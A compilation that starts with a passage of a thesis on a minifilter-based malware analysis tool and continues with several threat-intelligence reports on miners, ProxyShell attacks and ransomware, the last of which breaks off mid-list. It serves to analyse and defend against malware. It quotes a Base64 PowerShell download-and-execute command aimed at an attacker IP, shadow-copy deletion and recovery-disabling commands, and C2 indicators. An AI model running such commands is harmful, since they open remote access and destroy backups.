There are tools that can be used to list all the Windows processes running in a system. Also, it is possible to log the Windows registry and the file system activity. Generally, these tools are implemented as operating system drivers that can intercept the native Windows calls. Thus they are invisible to the application that is currently under analysis. There are also tools that can intercept arbitrary user functions, including all Windows API calls. This requires some rewriting of the target function. This rewriting could be detected by malware and thus it may act differently to overcome the detection.
In order to overcome the above problem, a virtual Operating System is used along with a minifilter tool. The minifilter tool has complete control over the system. It has the capability of analyzing both the native Windows calls as well as the Windows API calls, at the same time being unidentified by the malicious code. Because of the use of the minifilter which has complete control over the system, the analysis being performed is more fine-grained. This functionality is similar to the debugger but the technique does not make use of breakpoints, which are known to create problems when used for analyzing malicious code. The reason being the software breakpoints can be detected using code integrity checks and the malware could act accordingly.
The minifilter tool is used for analyzing Windows executables especially the files corresponding to the PE file format. In this technique, the program is tested in a virtual environment and the valid native Windows calls and Windows API are logged for analysis.
## 3.3 Testing Environment
The testing environment is very simple. The tool has two major parts:
1. **Minifilter Driver**
2. **Analysis Tool**
The whole testing is performed on a Virtual System. First, the minifilter is installed on the virtual operating system using Windows Installer. Then the analysis tool service is started. The service can be started using the Windows executable `sc.exe` which is used to start, suspend, and stop services on the Windows operating system. The tool is started using a command prompt. Once the minifilter is installed and the service is running, the program can be tested.
### Detection Tool Architecture
1. The detection tool is supplied with a program to be analyzed.
2. After analyzing, the tool generates the report and displays it.
3. Detection tool receives notification from the driver and performs analysis.
#### User mode
#### Kernel mode
4. Detection tool sends the program name to the driver.
5. Driver monitoring process operations.
6. Driver monitors the exit of the process.
## 3.3.1 Redirection Using the Detection Tool
Redirection explains how the detection tool controls the malware by having greater control over the system. The following redirection schemes are used:
1. Suppose the program wants to read an existing registry key:
`HKLM\Software\Microsoft\Windows\TaskManager\`
Analyzer will let the program read the value and return to the malware program.
2. Suppose malware wants to create a registry key:
`HKLM\Software\Microsoft\Windows\MalwareXXX\`
Analyzer will create a registry key as:
`HKLM\Software\Analyzer Sandbox\Malware\`
The subkey will be:
`HKLM\Software\Microsoft\Windows\MalwareXXX\`
The tool makes the malware believe that it is not detected by sending wrong registry keys. It monitors the creation and deletion of registry keys.
3. Whenever malware tries to read a registry key, Analyzer will first check the sandboxed key and if found will return the value from there, otherwise will let the operation go as usual.
4. What happens if malware modifies any registry key?
This operation will be considered the same as the creation of a key.
5. What happens when a file operation is requested?
It treats registry names as some file names and file paths.
## 3.4 Installing a Minifilter Driver
All the Windows Operating systems including Windows XP and later, minifilter drivers are installed by using an INF (Setup Information file) and an installation application. In all the previous operating systems, minifilter drivers were installed by the Service Control Manager.
The "INF-based installation" means that the use of INF file is to copy files and to store information in the registry. The system does not depend on a single INF file for the whole installation.
### 3.4.1 Creating an INF File for a Minifilter Driver
An INF file for a file system minifilter driver is very important for installing the minifilter drivers. An INF file generally contains the following sections:
1. Version (required)
2. DestinationDirs (optional but recommended)
3. DefaultInstall (required)
4. DefaultInstall.Services (required)
5. ServiceInstall (required)
6. AddRegistry (required)
7. DefaultUninstall (optional)
8. DefaultUninstall.Services (optional)
9. Strings (required)
#### 3.4.1.1 Version Section (required)
The Version section specifies a class and GUID. These class and GUID characteristics are used to determine the type of minifilter driver.
```
[Version]
Signature = "$WINDOWS NT$"
Class = "ActivityMonitor"
ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2}
Provider = %v@t%
DriverVer = 10/09/2001,1.0.0.0
```
#### 3.4.1.2 DestinationDirs Section (optional but recommended)
This section specifies the directories where minifilter driver and application files will be copied. In both DestinationDirs Section and ServiceInstall section, well-known system directories can be specified by system-defined numeric values.
```
[DestinationDirs]
DefaultDestDir = 12
Mafiltertool.DriverFiles = 12
Mafiltertool.UserFiles = 10,FltMgr
```
#### 3.4.1.3 DefaultInstall Section (required)
The DefaultInstall section makes use of a CopyFiles directive. This directive can be used to copy the minifilter driver's driver files and user-application files to the target directories that are enlisted in the DestinationDirs section.
#### 3.4.1.4 Strings Section (required)
The Strings section defines each %strkey% token that is used in the INF file.
```
[Strings]
V@t = "Vinay@TAMUCC"
ServiceDescription = "Malprober Mini-Filter Driver"
ServiceName = "Malprober"
DriverName = "Malprober"
DiskId1 = "PassThrough Device Installation Disk"
```
### 3.5 Analysis Process
The analysis process is started by allowing the given program to execute in an emulated environment. When the program executes, all the operating system services that are requested by the program are noted. Every action that involves communication with the environment requires some operating system services; it cannot directly interact with the hardware.
In a Windows operating system environment, the application cannot directly interact with the Windows native API. They are supposed to make use of the functions provided by the operating system to interact with the operating system services.
Malware writers make direct use of these native API to avoid any kind of DLL dependencies or confuse the virus scanners. This tool takes care of both Windows API function calls by an application and native API calls of an application, thus making the probability of a malware escaping the analysis very low.
The tool is supposed to track which operating system services are used by a program. This tracking requires us to solve two problems:
1. We must be able to track the execution of a malware process and also distinguish between the instructions executed by a malware process and the instructions executed by a normal process. This is very important because the emulated environment does not only run the instructions of the malware process, but also the native operating system instructions and instructions of the other supporting processes.
2. We need to make sure that the native API call or a Windows API call is invoked without any kind of modification to the malware sample.
The PDBR (Page Directory Base Register) can be used to track the execution of the instructions. This project creates a tool that makes use of virtual OS and minifilter drivers to detect malicious code.
# 4. Evaluation and Results
To demonstrate the capability of the malware tool in successfully monitoring the actions of malicious code, the tool runs dynamic tests on current malware samples. Then the results of the tool are compared to the solutions provided by various anti-virus providers. The ultimate goal of the evaluation is to determine to what extent our analysis results match the characterizations provided by this well-known anti-virus vendor.
For the selection of our test subjects, we make use of Symantec’s list of the most prevalent malware samples that are published. Unfortunately, it is not possible to obtain samples for all entries on these lists. However, we select some set of different malware programs that represent a good mix of different malicious code variants currently popular on the Internet. Some of these samples may be packed using different executable packer programs; others may not be recognized as valid Windows PE executables. From this pool, we choose one working sample for each malware type. Then, we scan all samples for our experiments by the online virus scanner provided by Symantec and make sure that they were all recognized correctly. There can be differences between the results of our tool and the virus descriptions of the various anti-virus providers.
The detection tool was also able to recognize many viruses that are enlisted neither on Symantec’s anti-virus list nor on Kaspersky’s anti-virus list. The technical detail of malware includes the files, registry, processes, and services affected by the malware. Generally, these changes by a particular virus are not the same on different computers. The probable reason can be that the malicious code chooses random file names or a name from a list of options that are not exhaustively covered by the malware description. Another possible reason for the variation in output can be analysis of a malware variant rather than the malware about which the virus scanner has published the technical details.
The following table shows some malwares that were analyzed by the tool and compared to the results of the Symantec anti-virus list.
| Malware Name | File | Registry | Process | Service |
|-------------------------|------|----------|---------|---------|
| W32.Storm.Worm | Yes | P | P | P |
| W32.HLLW.Doomsjuice | Yes | P | P | P |
| W32.Sality.AE | Yes | P | P | P |
| W32.Qquzlzb.exe | No | No | No | No |
| W32.Srvcp.exe | No | No | No | No |
In the above figure ‘P’ refers to partial matches. The partial matches occur due to the malware dependency on the target system. This dependency occurs due to the system's execution environment. Generally, files are also dependent on the target system but the core files that are created or affected by the malware are always the same.
Also, there are a few malware samples listed above whose virus definitions were not found on the Symantec’s anti-virus list. These viruses were detected by our tool.
Whenever some normal process is analyzed, the tool displays the changes made by the program to the system. This tool can also be handy for people who want to study the nature of their processes.
## 4.1 Sample Reports
### Sample #1
A genuine program. The following is the report for usbview.exe.
1. The program created the following new files
-
2. The program opened the following files
-
3. These files are read by the program
-
4. These files are written into by the program
-
5. The following files security permissions are changed
-
6. These files are deleted by the program
-
7. These files are sent ioctl command
-
8. The timestamps are changed for the following files
-
9. The following registry keys are created
- `\Registry\Machine\SOFTWARE\Microsoft\Cryptography\RNG`
- `\REGISTRY\USER\S-1-5-21-854245398-113007714-682003330-500\Software\Microsoft\Windows\CurrentVersion\Internet Settings`
- `\REGISTRY\USER\S-1-5-21-854245398-113007714-682003330-500\Software\Microsoft\SystemCertificates\My`
- `\REGISTRY\USER\S-1-5-21-854245398-113007714-682003330-500\Software\Microsoft\Windows NT\CurrentVersion\Winlogon`
- `\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses`
10. The following registry key values set
- `\REGISTRY\MACHINE\SOFTWARE\Microsoft\Cryptography\RNG Seed`
11. The following registry keys are deleted
-
12. The following processes are created
-
**Automated analysis of the program behavior**
- The program seems to be a genuine program.
### Sample #2
A little suspicious program. The following is the report for msrll.exe.
1. The program created the following new files
- `\Device\HarddiskVolume1\WINDOWS\system32\mfm\msrll.exe`
2. The program opened the following files
- `\Device\HarddiskVolume1\WINDOWS\system32\ws2_32.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\ws2help.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\shell32.dll`
- `\Device\HarddiskVolume1\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9\comctl32.dll`
- `\Device\HarddiskVolume1\WINDOWS\WindowsShell.Manifest`
- `\Device\HarddiskVolume1\WINDOWS\system32\wininet.dll`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Desktop\freemalwares\msrll.exe`
- `\Device\HarddiskVolume1\WINDOWS\system32\mfm\msrll.exe`
3. These files are read by the program
-
4. These files are written into by the program
-
5. The following files security permissions are changed
-
6. These files are deleted by the program
- `\Device\HarddiskVolume1\WINDOWS\system32\mfm\msrll.exe`
7. These files are sent ioctl command
-
8. The timestamps are changed for the following files
-
9. The following registry keys are created
- `\Registry\Machine\SOFTWARE\Microsoft\Cryptography\RNG`
- `\REGISTRY\USER\S-1-5-21-854245398-113007714-682003330-500\Software\Microsoft\Windows\CurrentVersion\Internet Settings`
10. The following registry key values set
- `\REGISTRY\MACHINE\SOFTWARE\Microsoft\Cryptography\RNG Seed`
11. The following registry keys are deleted
-
12. The following processes are created
-
**Automated analysis of the program behavior**
- The program deletes itself.
### Sample #3
A quite suspicious program. The following is the report for DoomJuice2.exe.
1. The program created the following new files
- `\Device\HarddiskVolume1\WINDOWS\system32\intrenat.exe`
- `\Device\HarddiskVolume1\sync-src-1.00.tbz`
- `\Device\HarddiskVolume1\WINDOWS\sync-src-1.00.tbz`
- `\Device\HarddiskVolume1\WINDOWS\system32\sync-src-1.00.tbz`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Local Settings\Temp\sync-src-1.00.tbz`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\sync-src-1.00.tbz`
2. The program opened the following files
- `\Device\HarddiskVolume1\WINDOWS\system32\ws2_32.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\ws2help.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\intrenat.exe`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Desktop\freemalwares\DoomJuice2.exe`
- `\Device\HarddiskVolume1\WINDOWS\system32\wininet.dll`
- `\Device\HarddiskVolume1\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9\comctl32.dll`
- `\Device\HarddiskVolume1\WINDOWS\WindowsShell.Manifest`
- `\Device\HarddiskVolume1\WINDOWS\system32\shell32.dll`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Local Settings\Temporary Internet Files`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Local Settings\History`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Cookies`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Cookies\index.dat`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Local Settings\History\History.IE5`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat`
- `\Device\HarddiskVolume1\WINDOWS\system32\rasapi32.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\rasman.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\tapi32.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\rtutils.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\winmm.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\sensapi.dll`
- `\Device\HarddiskVolume1\AUTOEXEC.BAT`
- `\Device\HarddiskVolume1\WINDOWS\system32\mswsock.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\dnsapi.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\winrnr.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\rasadhlp.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\hnetcfg.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\wshtcpip.dll`
3. These files are read by the program
- `\Device\HarddiskVolume1\AUTOEXEC.BAT`
4. These files are written into by the program
- `\Device\HarddiskVolume1\WINDOWS\system32\intrenat.exe`
- `\Device\HarddiskVolume1\sync-src-1.00.tbz`
- `\Device\HarddiskVolume1\WINDOWS\sync-src-1.00.tbz`
- `\Device\HarddiskVolume1\WINDOWS\system32\sync-src-1.00.tbz`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Local Settings\Temp\sync-src-1.00.tbz`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\sync-src-1.00.tbz`
5. The following files security permissions are changed
-
6. These files are deleted by the program
- `\Device\HarddiskVolume1\WINDOWS\system32\intrenat.exe`
7. These files are sent ioctl command
-
8. The timestamps are changed for the following files
- `\Device\HarddiskVolume1\WINDOWS\system32\intrenat.exe`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Local Settings\Temporary Internet Files`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Local Settings\History`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Cookies`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Cookies\index.dat`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Local Settings\History\History.IE5`
- `\Device\HarddiskVolume1\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat`
9. The following registry keys are created
- `\Registry\Machine\SOFTWARE\Microsoft\Cryptography\RNG`
- `\REGISTRY\USER\S-1-5-21-854245398-113007714-682003330-500\Software\Microsoft\Windows\CurrentVersion\Internet Settings`
10. The following registry key values set
- `\REGISTRY\MACHINE\SOFTWARE\Microsoft\Cryptography\RNG Seed`
11. The following registry keys are deleted
-
12. The following processes are created
-
**Automated analysis of the program behavior**
- The program adds a program which will run automatically on the next login.
- The program changes the internet settings.
- The program writes to executables.
### Sample #4
A very suspicious program. The following is the report for qquzlzb.exe.
1. The program created the following new files
- `\Device\HarddiskVolume1\WINDOWS\qquzlzb.exe`
2. The program opened the following files
- `\Device\HarddiskVolume1\WINDOWS\system32\crtdll.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\wsock32.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\ws2_32.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\ws2help.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\wininet.dll`
- `\Device\HarddiskVolume1\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9\comctl32.dll`
- `\Device\HarddiskVolume1\WINDOWS\WindowsShell.Manifest`
- `\Device\HarddiskVolume1\WINDOWS\system32\shell32.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\mswsock.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\hnetcfg.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\wshtcpip.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\dnsapi.dll`
- `\Device\HarddiskVolume1\WINDOWS\system32\winrnr.dll`
3. These files are read by the program
-
4. These files are written into by the program
-
5. The following files security permissions are changed
-
6. These files are deleted by the program
-
7. These files are sent ioctl command
-
8. The timestamps are changed for the following files
-
9. The following registry keys are created
-
10. The following registry key values set
-
11. The following registry keys are deleted
-
12. The following processes are created
-
**Automated analysis of the program behavior**
- The program is a very suspicious program. |
# On the trail of the XMRig miner
**Authors**
Anton Kuzmenko
As protection methods improve, the developers of miners have had to enhance their own creations, often turning to non-trivial solutions. Several such solutions (previously unseen by us) were detected during our analysis of the open source miner XMRig.
## How it all began: ransominer
Alongside well-known groups that make money from data theft and ransomware (for example, Maze, which is suspected of the recent attacks on SK Hynix and LG Electronics), many would-be attackers are attracted by the high-profile successes of cybercrime. In terms of technical capabilities, such amateurs lag far behind organized groups and therefore use publicly available ransomware, targeting ordinary users instead of the corporate sector. The outlays on such attacks are often quite small, so the miscreants have to resort to various stratagems to maximize the payout from each infected machine. For example, in August of this year, we noticed a rather curious infection method: on the victim’s machine, a Trojan (a common one detected by our solutions as Trojan.Win32.Generic) was run, which installed administration programs, added a new user, and opened RDP access to the computer. Next, the ransomware Trojan-Ransom.Win32.Crusis started on the same machine, followed by the loader of the XMRig miner, which then set about mining Monero cryptocurrency. As a result, the computer would already start earning money for the cybercriminals just as the user saw the ransom note. In addition, RDP access allowed the attackers to manually study the victim’s network and, if desired, spread the ransomware to other nodes.
### Details about Trojan files:
- Mssql — PC Hunter x64 (f6a3d38aa0ae08c3294d6ed26266693f)
- mssql2 — PC Hunter x86 (f7d94750703f0c1ddd1edd36f6d0371d)
- exe — nmap-like network scanner (597de376b1f80c06d501415dd973dcec)
- bat — removes shadow copy
- bat — creates a new user, adds it to the administrators group, opens the port for RDP access, and starts the Telnet server
- exe — IOBIT Unlocker (5840aa36b70b7c03c25e5e1266c5835b)
- EVER\SearchHost.exe — Everything software (8add121fa398ebf83e8b5db8f17b45e0)
- EVER\1saas\1saas.exe — ransomware Trojan-Ransom.Win32.Crusis (0880430c257ce49d7490099d2a8dd01a)
- EVER\1saas\LogDelete — miner loader (6ca170ece252721ed6cc3cfa3302d6f0, HEUR:Trojan-Downloader.Win32.Generic)
Batch script systembackup.bat adds a user and opens access via RDP. We decided to use KSN to examine how often XMRig and its modifications get bundled with malware. It emerged that in August 2020 there were more than 5,000 attempts to install it on users’ computers. The parties responsible for its distribution turned out to be the Prometei malware family and a new family called Cliptomaner.
## Prometei backdoor
The Prometei family has been known since 2016, but spotted together with XMRig for the first time in February 2020. What’s more, the backdoor was distributed in an unusual way: whereas during ordinary attacks the cybercriminals gain server access through various exploits, this time they used brute-force attacks. Having thus obtained usernames and passwords for computers with MS SQL installed, the attackers used the T-SQL function xp_cmdshell to run several PowerShell scripts and elevated the privileges of the current user by exploiting the CVE-2016-0099 vulnerability. After that, Purple Fox Trojan and Prometei itself were installed on the victim’s machine. The whole attack, starting with the brute-forcing of credentials to connect to the SQL server and ending with the installation of Prometei, was carried out in fully automatic mode.
The installation process is of interest: the .NET executable file, packed into an ELF file using standard .NET Core tools (Apphost), sends information about the infected machine to the C&C server, and then downloads the cryptocurrency miner and its configuration. The versions of the loaders for Windows and Linux differ only slightly: the .NET build for different platforms saved the attackers from having to create a separate loader for Linux and allowed cryptocurrency mining on powerful Windows and Linux servers.
## Cliptomaner miner
Detected in September 2020, Cliptomaner is very similar to its fellows: like them, it not only mines cryptocurrency, but can also substitute cryptowallet addresses in the clipboard. The miner version is selected according to the computer configuration and downloaded from C&C. The malware is distributed under the guise of software for Realtek audio equipment. On the whole, we saw no new techniques, but interestingly Cliptomaner is written entirely in the AutoIT scripting language. Most of the time, families with similar behavior are written in compiled languages, such as C# or C, but in this case the authors opted for a more creative approach, and wrote a lengthy script that selects the required version of the miner and receives cryptowallet addresses from C&C for substitution.
### Substituting cryptowallets in the clipboard
Kaspersky security solutions detect the above malicious programs with the following verdicts: HEUR:Trojan.MSIL.Prometei.gen, HEUR:Trojan.Script.Cliptomaner.gen, HEUR:Trojan-Downloader.Win32.Generic, Trojan-Ransom.Win32.Crusis, Trojan.Win64.Agentb, not-a-virus:RiskTool.Win64.XMRigMiner.
### Indicators of compromise (IoC)
**Domains**
- taskhostw[.]com
- svchost[.]xyz
- sihost[.]xyz
- srhost[.]xyz
- 2fsdfsdgvsdvzxcwwef-defender[.]xyz
**Cryptowallets used for substitution**
- LTC: LPor3PrQHcQv4obYKEZpnbqQEr8LMZoUuX
- BTC: 33yPjjSMGHPp8zj1ZXySNJzSUfVSbpXEuL
- ETH: 0x795957d9753e854b62C64cF880Ae22c8Ab14991b
- ZEC: t1ZbJBqHQyytNYtCpDWFQzqPQ5xKftePPt8
- DODGE: DEUjj7mi5N67b6LYZPApyoV8Ek8hdNL1Vy
**MD5**
- 1273d0062a9c0a87e2b53e841b261976
- 16b9c67bc36957062c17c0eff03b48f3
- d202d4a3f832a08cb8122d0154712dd1
- 6ca170ece252721ed6cc3cfa3302d6f0
- 1357b42546dc1d202aa9712f7b29aa0d
- 78f5094fa66a9aa4dc10470d5c3e3155
**Cryptocurrencies**
**Financial malware**
**Miner**
**Trojan**
**Authors**
Anton Kuzmenko |
# ProxyShell Exchange Exploitation Now Leads To An Increasing Amount Of Cobaltstrike Backdoors
On approximately August 21, 2021, security researchers, cybersecurity leaders, and eventually the CISA, began voicing concerns about the inevitable threat of LockFile ransomware attacks on a wide variety of ill-informed and unprepared victims. Threat actors had been caught targeting on-premises Microsoft Exchange servers via ProxyShell vulnerabilities. These vulnerabilities have been dubbed, “worse than ProxyLogon.” Patches for these vulnerabilities were made available in April & May, but many servers were still vulnerable.
That same day, Morphisec Guard, our Zero Trust, Endpoint Protection Platform, successfully detected and prevented the execution of Cobaltstrike beacons, which were delivered via a ProxyShell exploit. Therefore, Morphisec actively protected the exchange servers of our customers.
Below is an example of one of the prevention events:
**Cobaltstrike beacons delivered via ProxyShell exploit**
Cmd execution:
Cobalt C2: hxxp://at.miyazono[.]tk
## Conclusion
Morphisec demonstrates the vital nature of a strong prevention strategy for servers. It is our hope that more enterprises will move away from faulty detection-centered strategies and move toward preventative, proactive solutions. |
# New RegretLocker Ransomware Targets Windows Virtual Machines
**By Lawrence Abrams**
**November 3, 2020**
A new ransomware called RegretLocker uses a variety of advanced features that allows it to encrypt virtual hard drives and close open files for encryption. RegretLocker was discovered in October and is a simple ransomware in terms of appearance as it does not contain a long-winded ransom note and uses email for communication rather than a Tor payment site.
When encrypting files, it will append the innocuous-sounding .mouse extension to encrypted file names.
What it lacks in appearance, though, it makes up for in advanced features that we do not usually see in ransomware infections, as described below.
## RegretLocker Mounts Virtual Hard Disks
When creating a Windows Hyper-V virtual machine, a virtual hard disk is created and stored in a VHD or VHDX file. These virtual hard disk files contain a raw disk image, including a drive's partition table and partitions, and like regular disk drives, can range in size from a few gigabytes to terabytes.
When a ransomware encrypts files on a computer, it is not efficient to encrypt a large file as it slows down the entire encryption process's speed. In a sample of the ransomware discovered by MalwareHunterTeam and analyzed by Advanced Intel's Vitali Kremez, RegretLocker uses an interesting technique of mounting a virtual disk file so each of its files can be encrypted individually.
To do this, RegretLocker uses the Windows Virtual Storage API OpenVirtualDisk, AttachVirtualDisk, and GetVirtualDiskPhysicalPath functions to mount virtual disks. As shown by a debug message in the ransomware, it is specifically searching for VHD and mounting them when detected.
Once the virtual drive is mounted as a physical disk in Windows, the ransomware can encrypt each one individually, which increases the speed of encryption. The code used by RegretLocker to mount a VHD is believed to have been taken from a recently published research by security researcher smelly__vx.
In addition to using the Virtual Storage API, RegretLocker also utilizes the Windows Restart Manager API to terminate processes or Windows services that keep a file open during encryption. When using this API, Kremez told BleepingComputer if the name of a process contains 'vnc', 'ssh', 'mstsc', 'System', or 'svchost.exe', the ransomware will not terminate it. This exception list is likely used to prevent the termination of critical programs or those used by the threat actor to access the compromised system.
The Windows Restart Manager feature is only used by a few ransomware such as REvil (Sodinokibi), Ryuk, Conti, ThunderX/Ako, Medusa Locker, SamSam, and LockerGoga. RegretLocker is not very active at this point, but it is a new family that we need to keep an eye on. |
# Black Kingdom Ransomware Hacks Networks with Pulse VPN Flaws
Operators of Black Kingdom ransomware are targeting enterprises with unpatched Pulse Secure VPN software or initial access on the network, security researchers have found. The malware got caught in a honeypot, allowing researchers to analyze and document the tactics used by the threat actors.
## Modus Operandi
They’re exploiting CVE-2019-11510, a critical vulnerability affecting earlier versions of Pulse Secure VPN that was patched in April 2019. Companies delayed updating their software even after exploits became public, prompting multiple alerts from the U.S. government, and threat actors started leveraging it; some organizations continue to run a vulnerable version of the product.
REDTEAM.PL, a company offering cybersecurity services based in Poland, observed that Black Kingdom operators used the same doorway provided by Pulse Secure VPN to breach what they believed was a target.
From the researchers’ observations, the ransomware established persistence by impersonating a legitimate scheduled task for Google Chrome, with a single letter making the difference:
- **GoogleUpdateTaskMachineUSA** - Black Kingdom task
- **GoogleUpdateTaskMachineUA** - legitimate Google Chrome task
According to REDTEAM.PL’s analysis, the scheduled task runs a Base64-encoded string code in a hidden PowerShell window to fetch a script named “reverse.ps1” that is likely used to open a reverse shell on the compromised host.
### cversions_cache.ps1 script:
```powershell
$update = "SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvA"
powershell.exe -exec bypass -nologo -Enc $update
```
Adam Ziaja of REDTEAM.PL told BleepingComputer that the script could not be retrieved from the remote server controlled by the attacker, probably because the server hosting it was blocked before the payload could be delivered. The IP address where “reverse.ps1” resided is 198.13.49.179, which is managed by Choopa, a child company of Vultr, well known for the cheap virtual private servers (VPS) it provides and for being used by cybercriminals to host their malicious tools. It resolves to three domains, the third one being connected to other servers in the U.S. and Italy hosting Android and cryptocurrency mining malware.
- host.cutestboty.com
- keepass.cutestboty.com
- anno1119.com
## Recent Appearance
Black Kingdom ransomware was first spotted in late February by security researcher GrujaRS, who found that it appended the .DEMON extension to encrypted files. The sample analyzed contacted the same IP address found in REDTEAM.PL’s report. It dropped the following ransom note asking for $10,000 to be deposited to a bitcoin wallet and threatening that failing to do so would lead to the data being destroyed or sold.
Checking the bitcoin address provided by the attacker shows an empty balance and two incoming transactions totaling 0.55BTC, converted to $5,200 at the moment of writing.
## Related Articles
- The Week in Ransomware - May 20th 2022 - Another one bites the dust
- The Week in Ransomware - May 6th 2022 - An evolving landscape
- Magniber ransomware gang now exploits Internet Explorer flaws in attacks
- Microsoft finds severe bugs in Android apps from large mobile providers
- BlackCat/ALPHV ransomware asks $5 million to unlock Austrian state
Ionut Ilascu is a technology writer with a focus on all things cybersecurity. The topics he writes about include malware, vulnerabilities, exploits, and security defenses, as well as research and innovation in information security. His work has been published by Bitdefender, Netgear, The Security Ledger, and Softpedia. |
# Explained: Sage Ransomware
Sage is yet another ransomware that has become a common threat nowadays. Similarly to Spora, it has capabilities to encrypt files offline. The malware is actively developed and currently, we are facing an outbreak of version 2.2 of this product.
## Analyzed Samples
- 3686b6642cf6a3d97e368590557ac3f2 – JS downloader
## Distribution Method
Most often, Sage is dropped by downloader scripts distributed via phishing e-mails (office documents with malicious macros or standalone JS files). In the analyzed case, the sample was dropped via a JavaScript file.
## Behavioral Analysis
After being deployed, Sage deletes the original sample and runs another copy, dropped in %APPDATA% (names of the dropped files are different for different machines – probably generated based on GUID). The dropped copy deploys itself once again, with a parameter ‘g’. Example:
`"C:\Users\tester\AppData\Roaming\FkGtk5ju.exe" g`
After finishing its work, that dropped copy is also being deleted with the help of a batch script dropped in the %TEMP% folder. Just in case the system gets restarted before the encryption finished, Sage sets a link in the Startup folder, so that it can continue after the reboot. However, if the ransomware successfully completed the encryption process and deleted itself, the link is left abandoned.
After finishing, the wallpaper is changed. In version 2.2, the wallpaper looks very similar to 2.0, except the font is green instead of red. At the end of the execution, the ransom note `!HELP_SOS.hta` opens automatically. In addition to the written information, Sage 2.2 plays a voice message informing about the infection. It is deployed via WScript running the default Microsoft voice-to-speech service – just like in the case of Cerber.
Some content is left in %APPDATA%. Encrypted files are added to the `.sage` extension and their icons are changed. Files with the same plaintext produce different ciphertexts, leading to the conclusion that each file is encrypted with a new key. Sage can work well without an internet connection; however, if connected, it sends data via UDP (similarly to Cerber). The traffic is encrypted.
## Page for the Victim
The ransom note contains a link to the page for the victim. Encrypted and Base64 encoded key of the victim is passed via URL to the server of attackers. The key can also be pasted via a field on the website. Keep in mind that the first login on the page for the victim triggers the timer to start. From this moment, the countdown to the price increment is running. The website is protected by a simple captcha and allows for a simple customization – the victim can choose one of the supported languages (currently 17). The page contains typical information, such as the amount of ransom to be paid and further instructions.
The malware allows testing decryption capabilities by permitting the victim to upload some encrypted files (the size of the file must be less than 15 KB). However, the result is not available instantly. After some hours, the decrypted version of the uploaded file is indeed available to download.
## Inside
Sage is delivered packed by various crypters. After defeating the first layer, we obtain a second PE file – the malicious core, that is not further obfuscated. At the beginning of the execution, Sage generates the Victim ID/key and saves it in the .tmp file dropped in the %APPDATA% folder. Then, it removes backups from the system.
Executed commands:
- `vssadmin.exe delete shadows /all /quiet`
- `bcdedit.exe /set {default} recoveryenabled no`
- `bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures`
Sage enumerates through the files, and if they match the defined criteria, they are getting encrypted. First, the malware creates a file with the same name as the attacked one, but with three dots at the end. Both files coexist in the system until the encrypting is finished. Then, the original file is deleted and the newly created one is renamed with the extension `.sage`. At the end, only the `.sage` file is left.
## What is Attacked?
Sage comes with a long list of the attacked extensions, that is hard-coded in the binary:
```
dat mx0 cd pdb xqx old cnt rtp qss qst fx0 fx1 ipg ert pic img cur fxr
slk m4u mpe mov wmv mpg vob mpeg 3g2 m4v avi mp4 flv mkv 3gp asf m3u m3u8
wav mp3 m4a m rm flac mp2 mpa aac wma djv pdf djvu jpeg jpg bmp png jp2 lz
rz zipx gz bz2 s7z tar 7z tgz rar ziparc paq bak set back std vmx vmdk vdi
qcow ini accd db sqli sdf mdf myd frm odb myi dbf indb mdb ibd sql cgn dcr
